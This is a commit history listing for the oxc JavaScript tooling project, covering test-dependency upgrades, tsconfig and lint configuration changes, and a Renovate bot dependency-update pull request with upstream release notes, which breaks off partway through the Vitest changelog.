camc314
949d7a9302
chore(deps): update vitest to v5 ( #26299 )
...
## Summary
- update workspace test dependencies to Vitest 5.0.0
- pin Vitest and related tooling to Vite 8.2.2
- migrate removed sequential and benchmark APIs
- update the pnpm lockfile
2026-09-03 19:05:05 +00:00
overlookmotel
494c04343c
docs(tasks): correct commands for running tests ( #22891 )
...
`pnpm run build-test` is the correct command for building NAPI packages for running tests, not `pnpm build-dev`. Correct the docs accordingly. Also clarify the commands for running e2e tests.
2026-06-01 13:27:50 +00:00
overlookmotel
1606bd1feb
refactor(apps, napi, tasks): remove noUnusedLocals from tsconfigs ( #20155 )
...
Remove `noUnusedLocals` option from `tsconfig.json` files. It's redundant, as Oxlint `no-unused-vars` covers this for us.
It's an annoyance to have `noUnusedLocals` enabled, as in VS Code TypeScript complains about unused vars, even if they're prefixed with `_`.
Removing this option allows simplifying type tests added in #20066 . Only reason these types had to be exported was to stop TS complaining that they were unused.
2026-03-09 13:42:12 +00:00
camc314
00d431d957
chore(oxlint,parser,e2e): explicitly set strict: false in tsconfigs ( #19129 )
...
fixes the failures seen in https://github.com/oxc-project/oxc/pull/19128
2026-02-09 09:35:27 +00:00
Sysix
e8e42ebc9c
chore(all): enable tsconfig noUnusedLocals compiler option ( #17541 )
...
Unused local variables did not get reported by `@typescript-eslint/no-unused-vars`.
Added `noUnusedLocals` check for every tsconfig, so `pnpm lint` will report them.
Example of failed CI: https://github.com/oxc-project/oxc/actions/runs/20626453016/job/59237769046?pr=17541
2025-12-31 20:31:35 +00:00
Boshen
de625d6b00
chore(js): enable oxlint --type-check ( #16954 )
...
Finished in 1.7s on 259 files with 161 rules using 14 threads.
closes #16485
2025-12-16 16:24:36 +00:00
Boshen
1d680de87e
chore(pnpm): remove tasks/e2e workspace ( #16881 )
...
I thought making it a separate would be easier to manage,
but it's actually not.
Previous setup was also downloading packages from npm on every CI run.
2025-12-16 14:03:25 +00:00
Boshen
6fca2f7f60
chore(infra): use oxfmt for all files, remove dprint ( #16599 )
...
Toml formatting is missing but there's only a few toml files, can wait
for oxfmt plugins.
- [x] Something is slow, can't figure out why, need #16607
2025-12-15 12:06:24 +00:00
renovate
3d471e3df2
chore(deps): update dependency oxlint to v1.33.0 ( #16892 )
...
This PR contains the following updates:
| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/ ) | [Adoption](https://docs.renovatebot.com/merge-confidence/ ) | [Passing](https://docs.renovatebot.com/merge-confidence/ ) | [Confidence](https://docs.renovatebot.com/merge-confidence/ ) |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs ) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint )) | [`1.32.0` -> `1.33.0`](https://renovatebot.com/diffs/npm/oxlint/1.32.0/1.33.0 ) |  |  |  |  |
---
### Release Notes
<details>
<summary>oxc-project/oxc (oxlint)</summary>
### [`v1.33.0`](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.32.0...oxlint_v1.33.0 )
[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.32.0...oxlint_v1.33.0 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/oxc-project/oxc ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi40Mi4yIiwidXBkYXRlZEluVmVyIjoiNDIuNDIuMiIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->
2025-12-15 11:48:03 +00:00
camc314
af0f2af93f
chore(lint): enable ban-ts-comment rule and fix ts-ignore usages ( #16799 )
...
follow on from https://github.com/oxc-project/oxc/pull/16796
2025-12-13 16:19:48 +00:00
renovate
211afcff5f
chore(deps): update npm packages ( #15994 )
...
> **Note:** This PR body was truncated due to platform limits.
This PR contains the following updates:
| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/ ) | [Adoption](https://docs.renovatebot.com/merge-confidence/ ) | [Passing](https://docs.renovatebot.com/merge-confidence/ ) | [Confidence](https://docs.renovatebot.com/merge-confidence/ ) |
|---|---|---|---|---|---|
| [@napi-rs/wasm-runtime](https://redirect.github.com/napi-rs/napi-rs ) ([source](https://redirect.github.com/napi-rs/napi-rs/tree/HEAD/wasi-runtime )) | [`1.0.7` -> `1.1.0`](https://renovatebot.com/diffs/npm/@napi-rs%2fwasm-runtime/1.0.7/1.1.0 ) |  |  |  |  |
| [@nestjs/common](https://nestjs.com ) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common )) | [`11.1.6` -> `11.1.9`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/11.1.6/11.1.9 ) |  |  |  |  |
| [@nestjs/core](https://nestjs.com ) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core )) | [`11.1.6` -> `11.1.9`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/11.1.6/11.1.9 ) |  |  |  |  |
| [@nestjs/platform-express](https://nestjs.com ) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express )) | [`11.1.6` -> `11.1.9`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/11.1.6/11.1.9 ) |  |  |  |  |
| [@nestjs/testing](https://nestjs.com ) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/testing )) | [`11.1.6` -> `11.1.9`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/11.1.6/11.1.9 ) |  |  |  |  |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node ) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node )) | [`24.9.1` -> `24.10.1`](https://renovatebot.com/diffs/npm/@types%2fnode/24.9.1/24.10.1 ) |  |  |  |  |
| [@typescript-eslint/scope-manager](https://typescript-eslint.io/packages/scope-manager ) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/scope-manager )) | [`8.46.2` -> `8.48.1`](https://renovatebot.com/diffs/npm/@typescript-eslint%2fscope-manager/8.46.2/8.48.1 ) |  |  |  |  |
| [@typescript-eslint/typescript-estree](https://typescript-eslint.io/packages/typescript-estree ) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-estree )) | [`8.47.0` -> `8.48.1`](https://renovatebot.com/diffs/npm/@typescript-eslint%2ftypescript-estree/8.47.0/8.48.1 ) |  |  |  |  |
| [@typescript-eslint/visitor-keys](https://typescript-eslint.io ) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/visitor-keys )) | [`8.47.0` -> `8.48.1`](https://renovatebot.com/diffs/npm/@typescript-eslint%2fvisitor-keys/8.47.0/8.48.1 ) |  |  |  |  |
| [@vitest/browser](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/browser#readme ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/browser )) | [`4.0.6` -> `4.0.15`](https://renovatebot.com/diffs/npm/@vitest%2fbrowser/4.0.6/4.0.15 ) |  |  |  |  |
| [@vitest/browser-playwright](https://vitest.dev/config/browser/playwright ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/browser-playwright )) | [`4.0.6` -> `4.0.15`](https://renovatebot.com/diffs/npm/@vitest%2fbrowser-playwright/4.0.6/4.0.15 ) |  |  |  |  |
| [@vscode/vsce](https://code.visualstudio.com ) ([source](https://redirect.github.com/Microsoft/vsce )) | [`3.6.2` -> `3.7.1`](https://renovatebot.com/diffs/npm/@vscode%2fvsce/3.6.2/3.7.1 ) |  |  |  |  |
| [alpinejs](https://alpinejs.dev ) ([source](https://redirect.github.com/alpinejs/alpine/tree/HEAD/packages/alpinejs )) | [`3.15.0` -> `3.15.2`](https://renovatebot.com/diffs/npm/alpinejs/3.15.0/3.15.2 ) |  |  |  |  |
| [antd](https://ant.design ) ([source](https://redirect.github.com/ant-design/ant-design )) | [`6.0.0` -> `6.0.1`](https://renovatebot.com/diffs/npm/antd/6.0.0/6.0.1 ) |  |  |  |  |
| [axios](https://axios-http.com ) ([source](https://redirect.github.com/axios/axios )) | [`1.12.2` -> `1.13.2`](https://renovatebot.com/diffs/npm/axios/1.12.2/1.13.2 ) |  |  |  |  |
| [dayjs](https://day.js.org ) ([source](https://redirect.github.com/iamkun/dayjs )) | [`1.11.18` -> `1.11.19`](https://renovatebot.com/diffs/npm/dayjs/1.11.18/1.11.19 ) |  |  |  |  |
| [emnapi](https://redirect.github.com/toyobayashi/emnapi ) | [`1.6.0` -> `1.7.1`](https://renovatebot.com/diffs/npm/emnapi/1.6.0/1.7.1 ) |  |  |  |  |
| [es-toolkit](https://es-toolkit.dev ) ([source](https://redirect.github.com/toss/es-toolkit )) | [`1.40.0` -> `1.42.0`](https://renovatebot.com/diffs/npm/es-toolkit/1.40.0/1.42.0 ) |  |  |  |  |
| [esbuild](https://redirect.github.com/evanw/esbuild ) | [`^0.25.0` -> `^0.27.0`](https://renovatebot.com/diffs/npm/esbuild/0.25.12/0.27.1 ) |  |  |  |  |
| [execa](https://redirect.github.com/sindresorhus/execa ) | [`9.6.0` -> `9.6.1`](https://renovatebot.com/diffs/npm/execa/9.6.0/9.6.1 ) |  |  |  |  |
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom ) | [`20.0.7` -> `20.0.11`](https://renovatebot.com/diffs/npm/happy-dom/20.0.7/20.0.11 ) |  |  |  |  |
| [memfs](https://redirect.github.com/streamich/memfs ) | [`4.49.0` -> `4.51.1`](https://renovatebot.com/diffs/npm/memfs/4.49.0/4.51.1 ) |  |  |  |  |
| [motion](https://redirect.github.com/motiondivision/motion ) | [`12.23.24` -> `12.23.25`](https://renovatebot.com/diffs/npm/motion/12.23.24/12.23.25 ) |  |  |  |  |
| [ovsx](https://open-vsx.org ) ([source](https://redirect.github.com/eclipse/openvsx/tree/HEAD/cli )) | [`0.10.6` -> `0.10.7`](https://renovatebot.com/diffs/npm/ovsx/0.10.6/0.10.7 ) |  |  |  |  |
| [playwright](https://playwright.dev ) ([source](https://redirect.github.com/microsoft/playwright )) | [`1.56.1` -> `1.57.0`](https://renovatebot.com/diffs/npm/playwright/1.56.1/1.57.0 ) |  |  |  |  |
| [pnpm](https://pnpm.io ) ([source](https://redirect.github.com/pnpm/pnpm/tree/HEAD/pnpm )) | [`10.20.0` -> `10.24.0`](https://renovatebot.com/diffs/npm/pnpm/10.20.0/10.24.0 ) |  |  |  |  |
| [preact](https://preactjs.com ) ([source](https://redirect.github.com/preactjs/preact )) | [`10.27.2` -> `10.28.0`](https://renovatebot.com/diffs/npm/preact/10.27.2/10.28.0 ) |  |  |  |  |
| [react](https://react.dev/ ) ([source](https://redirect.github.com/facebook/react/tree/HEAD/packages/react )) | [`19.2.0` -> `19.2.1`](https://renovatebot.com/diffs/npm/react/19.2.0/19.2.1 ) |  |  |  |  |
| [react-dom](https://react.dev/ ) ([source](https://redirect.github.com/facebook/react/tree/HEAD/packages/react-dom )) | [`19.2.0` -> `19.2.1`](https://renovatebot.com/diffs/npm/react-dom/19.2.0/19.2.1 ) |  |  |  |  |
| [solid-js](https://solidjs.com ) ([source](https://redirect.github.com/solidjs/solid )) | [`1.9.9` -> `1.9.10`](https://renovatebot.com/diffs/npm/solid-js/1.9.9/1.9.10 ) |  |  |  |  |
| [terser](https://terser.org ) ([source](https://redirect.github.com/terser/terser )) | [`5.44.0` -> `5.44.1`](https://renovatebot.com/diffs/npm/terser/5.44.0/5.44.1 ) |  |  |  |  |
| [type-fest](https://redirect.github.com/sindresorhus/type-fest ) | [`5.2.0` -> `5.3.0`](https://renovatebot.com/diffs/npm/type-fest/5.2.0/5.3.0 ) |  |  |  |  |
| [vitest](https://vitest.dev ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest )) | [`4.0.1` -> `4.0.15`](https://renovatebot.com/diffs/npm/vitest/4.0.1/4.0.15 ) |  |  |  |  |
| [vitest](https://vitest.dev ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest )) | [`4.0.10` -> `4.0.15`](https://renovatebot.com/diffs/npm/vitest/4.0.10/4.0.15 ) |  |  |  |  |
| [vue](https://redirect.github.com/vuejs/core/tree/main/packages/vue#readme ) ([source](https://redirect.github.com/vuejs/core )) | [`3.5.22` -> `3.5.25`](https://renovatebot.com/diffs/npm/vue/3.5.22/3.5.25 ) |  |  |  |  |
---
### Release Notes
<details>
<summary>napi-rs/napi-rs (@​napi-rs/wasm-runtime)</summary>
### [`v1.1.0`](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/wasm-runtime@1.0.7...@napi-rs/wasm-runtime@1.1.0 )
[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/wasm-runtime@1.0.7...@napi-rs/wasm-runtime@1.1.0 )
</details>
<details>
<summary>nestjs/nest (@​nestjs/common)</summary>
### [`v11.1.9`](https://redirect.github.com/nestjs/nest/releases/tag/v11.1.9 )
[Compare Source](https://redirect.github.com/nestjs/nest/compare/v11.1.8...v11.1.9 )
##### v11.1.9 (2025-11-14)
##### Bug fixes
- `core`
- [#​15865](https://redirect.github.com/nestjs/nest/pull/15865 ) fix(core): make get() throw for implicitly request-scoped trees ([@​JoeNutt](https://redirect.github.com/JoeNutt ))
##### Enhancements
- `common`
- [#​15863](https://redirect.github.com/nestjs/nest/pull/15863 ) feat(common): add method options to [@​sse](https://redirect.github.com/sse ) decorator ([@​TomerSteinberg](https://redirect.github.com/TomerSteinberg ))
##### Dependencies
- `platform-fastify`
- [#​15899](https://redirect.github.com/nestjs/nest/pull/15899 ) chore(deps): bump fastify from 5.6.1 to 5.6.2 ([@​dependabot\[bot\]](https://redirect.github.com/apps/dependabot ))
##### Committers: 4
- Rami ([@​JoeNutt](https://redirect.github.com/JoeNutt ))
- Rhynel Algopera ([@​dev-rhynel](https://redirect.github.com/dev-rhynel ))
- Tomer Steinberg ([@​TomerSteinberg](https://redirect.github.com/TomerSteinberg ))
- WuMingDao ([@​WuMingDao](https://redirect.github.com/WuMingDao ))
### [`v11.1.8`](https://redirect.github.com/nestjs/nest/compare/v11.1.7...68cd54594972011663e19123c3f620e20baea53a )
[Compare Source](https://redirect.github.com/nestjs/nest/compare/v11.1.7...v11.1.8 )
### [`v11.1.7`](https://redirect.github.com/nestjs/nest/compare/v11.1.6...ee1b3475551e9173b51381211f058298be504a6a )
[Compare Source](https://redirect.github.com/nestjs/nest/compare/v11.1.6...v11.1.7 )
</details>
<details>
<summary>typescript-eslint/typescript-eslint (@​typescript-eslint/scope-manager)</summary>
### [`v8.48.1`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/scope-manager/CHANGELOG.md#8481-2025-12-02 )
[Compare Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.48.0...v8.48.1 )
This was a version bump only for scope-manager to align it with other projects, there were no code changes.
You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning ) and [releases](https://typescript-eslint.io/users/releases ) on our website.
### [`v8.48.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/scope-manager/CHANGELOG.md#8480-2025-11-24 )
[Compare Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.47.0...v8.48.0 )
##### 🚀 Features
- **eslint-plugin:** \[no-redundant-type-constituents] use assignability checking for redundancy checks ([#​10744](https://redirect.github.com/typescript-eslint/typescript-eslint/pull/10744 ))
##### 🩹 Fixes
- **scope-manager:** change unhelpful `aaa` error message and change `analyze` to expects `Program` ([#​11747](https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11747 ))
##### ❤️ Thank You
- Josh Goldberg
- mdm317 [@​gen-ip-1](https://redirect.github.com/gen-ip-1 )
- Younsang Na [@​nayounsang](https://redirect.github.com/nayounsang )
You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning ) and [releases](https://typescript-eslint.io/users/releases ) on our website.
### [`v8.47.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/scope-manager/CHANGELOG.md#8470-2025-11-17 )
[Compare Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.46.4...v8.47.0 )
This was a version bump only for scope-manager to align it with other projects, there were no code changes.
You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning ) and [releases](https://typescript-eslint.io/users/releases ) on our website.
### [`v8.46.4`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/scope-manager/CHANGELOG.md#8464-2025-11-10 )
[Compare Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.46.3...v8.46.4 )
This was a version bump only for scope-manager to align it with other projects, there were no code changes.
You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning ) and [releases](https://typescript-eslint.io/users/releases ) on our website.
### [`v8.46.3`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/scope-manager/CHANGELOG.md#8463-2025-11-03 )
[Compare Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.46.2...v8.46.3 )
This was a version bump only for scope-manager to align it with other projects, there were no code changes.
You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning ) and [releases](https://typescript-eslint.io/users/releases ) on our website.
</details>
<details>
<summary>typescript-eslint/typescript-eslint (@​typescript-eslint/typescript-estree)</summary>
### [`v8.48.1`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/typescript-estree/CHANGELOG.md#8481-2025-12-02 )
[Compare Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.48.0...v8.48.1 )
This was a version bump only for typescript-estree to align it with other projects, there were no code changes.
You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning ) and [releases](https://typescript-eslint.io/users/releases ) on our website.
### [`v8.48.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/typescript-estree/CHANGELOG.md#8480-2025-11-24 )
[Compare Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.47.0...v8.48.0 )
##### 🚀 Features
- **typescript-estree:** replace fast-glob with tinyglobby ([#​11740](https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11740 ))
- **eslint-plugin:** \[no-redundant-type-constituents] use assignability checking for redundancy checks ([#​10744](https://redirect.github.com/typescript-eslint/typescript-eslint/pull/10744 ))
- **typescript-estree:** gate all errors behind allowInvalidAST ([#​11693](https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11693 ))
##### 🩹 Fixes
- **typescript-estree:** disallow binding patterns in parameter properties ([#​11760](https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11760 ))
- **typescript-estree:** infers singleRun as true for project service ([#​11327](https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11327 ))
##### ❤️ Thank You
- Ben McCann [@​benmccann](https://redirect.github.com/benmccann )
- Dima Barabash [@​dbarabashh](https://redirect.github.com/dbarabashh )
- fisker Cheung [@​fisker](https://redirect.github.com/fisker )
- James Henry [@​JamesHenry](https://redirect.github.com/JamesHenry )
- JamesHenry [@​JamesHenry](https://redirect.github.com/JamesHenry )
- Josh Goldberg
- Josh Goldberg ✨
- mdm317 [@​gen-ip-1](https://redirect.github.com/gen-ip-1 )
- Younsang Na [@​nayounsang](https://redirect.github.com/nayounsang )
You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning ) and [releases](https://typescript-eslint.io/users/releases ) on our website.
</details>
<details>
<summary>typescript-eslint/typescript-eslint (@​typescript-eslint/visitor-keys)</summary>
### [`v8.48.1`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/visitor-keys/CHANGELOG.md#8481-2025-12-02 )
[Compare Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.48.0...v8.48.1 )
This was a version bump only for visitor-keys to align it with other projects, there were no code changes.
You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning ) and [releases](https://typescript-eslint.io/users/releases ) on our website.
### [`v8.48.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/visitor-keys/CHANGELOG.md#8480-2025-11-24 )
[Compare Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.47.0...v8.48.0 )
This was a version bump only for visitor-keys to align it with other projects, there were no code changes.
You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning ) and [releases](https://typescript-eslint.io/users/releases ) on our website.
</details>
<details>
<summary>vitest-dev/vitest (@​vitest/browser)</summary>
### [`v4.0.15`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v4.0.15 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v4.0.14...v4.0.15 )
##### 🚀 Experimental Features
- **cache**: Add opt-out on a plugin level, fix internal root cache - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9154](https://redirect.github.com/vitest-dev/vitest/issues/9154 ) [<samp>(a68f7)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a68f74e5e )
- **reporters**: Print import duration breakdown - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9105](https://redirect.github.com/vitest-dev/vitest/issues/9105 ) [<samp>(122ff)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/122ff321c )
##### 🐞 Bug Fixes
- Keep built-in id as is in bun and deno - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9117](https://redirect.github.com/vitest-dev/vitest/issues/9117 ) [<samp>(075ab)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/075ab3520 )
- Use `optimizeDeps.rolldownOptions` to fix depreated warning + fix `ssr.external: true` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [#​9121](https://redirect.github.com/vitest-dev/vitest/issues/9121 ) [<samp>(fd8bd)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fd8bd6dee )
- Fix external behavior with `deps.optimizer` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [#​9125](https://redirect.github.com/vitest-dev/vitest/issues/9125 ) [<samp>(4c754)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/4c75492cc )
- Very minor typo in "Chrome DevTools Protocol" - by [@​HowToTestFrontend](https://redirect.github.com/HowToTestFrontend ) in [#​9146](https://redirect.github.com/vitest-dev/vitest/issues/9146 ) [<samp>(20997)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/209976419 )
- **browser**: Run `toMatchScreenshot` only once when used with `expect.element` - by [@​macarie](https://redirect.github.com/macarie ) in [#​9132](https://redirect.github.com/vitest-dev/vitest/issues/9132 ) [<samp>(0d2e7)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/0d2e7e3e2 )
- **coverage**: Istanbul provider to not break source maps - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [#​9040](https://redirect.github.com/vitest-dev/vitest/issues/9040 ) [<samp>(e4ca9)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e4ca917f1 )
- **deps**: Update dependency tinyexec to v1 - in [#​9122](https://redirect.github.com/vitest-dev/vitest/issues/9122 ) [<samp>(fd786)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fd7860222 )
- **docs**: Remove `--browser.provider` from docs - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9115](https://redirect.github.com/vitest-dev/vitest/issues/9115 ) [<samp>(120b3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/120b3dac1 )
- **expect**: Preserve `currentTestName` in extended matchers - by [@​macarie](https://redirect.github.com/macarie ) in [#​9106](https://redirect.github.com/vitest-dev/vitest/issues/9106 ) [<samp>(e4345)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e43458e02 )
- **pool**: Terminate workers on `CTRL+c` forceful exits - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [#​9140](https://redirect.github.com/vitest-dev/vitest/issues/9140 ) [<samp>(d57d8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/d57d8bf0a )
- **reporters**: Show project in github reporter - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9138](https://redirect.github.com/vitest-dev/vitest/issues/9138 ) [<samp>(bb65e)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bb65e15c7 )
- **spy**: Do not mock overriden method, if parent was automocked - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9116](https://redirect.github.com/vitest-dev/vitest/issues/9116 ) [<samp>(1a246)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1a24607b4 )
- **web-worker**: MessagePort objects passed to Worker.postMessage work when clone === "native" - by [@​whitphx](https://redirect.github.com/whitphx ) in [#​9118](https://redirect.github.com/vitest-dev/vitest/issues/9118 ) [<samp>(deee8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/deee83e54 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v4.0.14...v4.0.15 )
### [`v4.0.14`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v4.0.14 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v4.0.13...v4.0.14 )
##### 🚀 Experimental Features
- **browser**: Expose `utils.configurePrettyDOM` - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9103](https://redirect.github.com/vitest-dev/vitest/issues/9103 ) [<samp>(2cc34)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/2cc34e0d4 )
- **runner**: Add full names to tasks - by [@​macarie](https://redirect.github.com/macarie ) in [#​9087](https://redirect.github.com/vitest-dev/vitest/issues/9087 ) [<samp>(821aa)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/821aa2002 )
- **ui**: Add tabbed failure view for `toMatchScreenshot` with comparison slider - by [@​macarie](https://redirect.github.com/macarie ) in [#​8813](https://redirect.github.com/vitest-dev/vitest/issues/8813 ) [<samp>(c37c2)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c37c2eb0b )
##### 🐞 Bug Fixes
- Externalize before caching - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9077](https://redirect.github.com/vitest-dev/vitest/issues/9077 ) [<samp>(e1b2e)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e1b2e086a )
- Collect the duration of external imports - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9097](https://redirect.github.com/vitest-dev/vitest/issues/9097 ) [<samp>(3326c)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3326cc9f4 )
- Rename `collect` to `import`, remove `prepare` - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9091](https://redirect.github.com/vitest-dev/vitest/issues/9091 ) [<samp>(1256b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1256b5ca3 )
- **browser**:
- Unsubscribe `onCancel` on rpc destroy - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [#​9088](https://redirect.github.com/vitest-dev/vitest/issues/9088 ) [<samp>(f5b72)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/f5b72374b )
- Revert the viewport scaling in non-ui mode [#​9018](https://redirect.github.com/vitest-dev/vitest/issues/9018 ) - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9072](https://redirect.github.com/vitest-dev/vitest/issues/9072 ) and [#​9018](https://redirect.github.com/vitest-dev/vitest/issues/9018 ) [<samp>(64502)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/64502a2c4 )
- **coverage**:
- Invalidate circular modules correctly on rerun with coverage - by [@​aicest](https://redirect.github.com/aicest ) in [#​9096](https://redirect.github.com/vitest-dev/vitest/issues/9096 ) [<samp>(6f22c)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/6f22c675f )
- **expect**:
- Allow function as standard schema - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [#​9099](https://redirect.github.com/vitest-dev/vitest/issues/9099 ) [<samp>(ed8a2)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ed8a2ebbd )
- **jsdom**:
- Reuse abort signals if possible - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9090](https://redirect.github.com/vitest-dev/vitest/issues/9090 ) [<samp>(2c468)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/2c468ee95 )
- **pool**:
- Init `VITEST_POOL_ID` + `VITEST_WORKER_ID` before environment setup - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [#​9085](https://redirect.github.com/vitest-dev/vitest/issues/9085 ) [<samp>(37918)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/379185b40 )
- **web-worker**:
- `postMessage` to send ports to workers - by [@​whitphx](https://redirect.github.com/whitphx ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [#​9078](https://redirect.github.com/vitest-dev/vitest/issues/9078 ) [<samp>(9d176)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9d1763d11 )
##### 🏎 Performance
- Replace `debug` with `obug` - by [@​sxzz](https://redirect.github.com/sxzz ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [#​9057](https://redirect.github.com/vitest-dev/vitest/issues/9057 ) [<samp>(acc51)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/acc5152b9 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v4.0.13...v4.0.14 )
### [`v4.0.13`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v4.0.13 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v4.0.12...v4.0.13 )
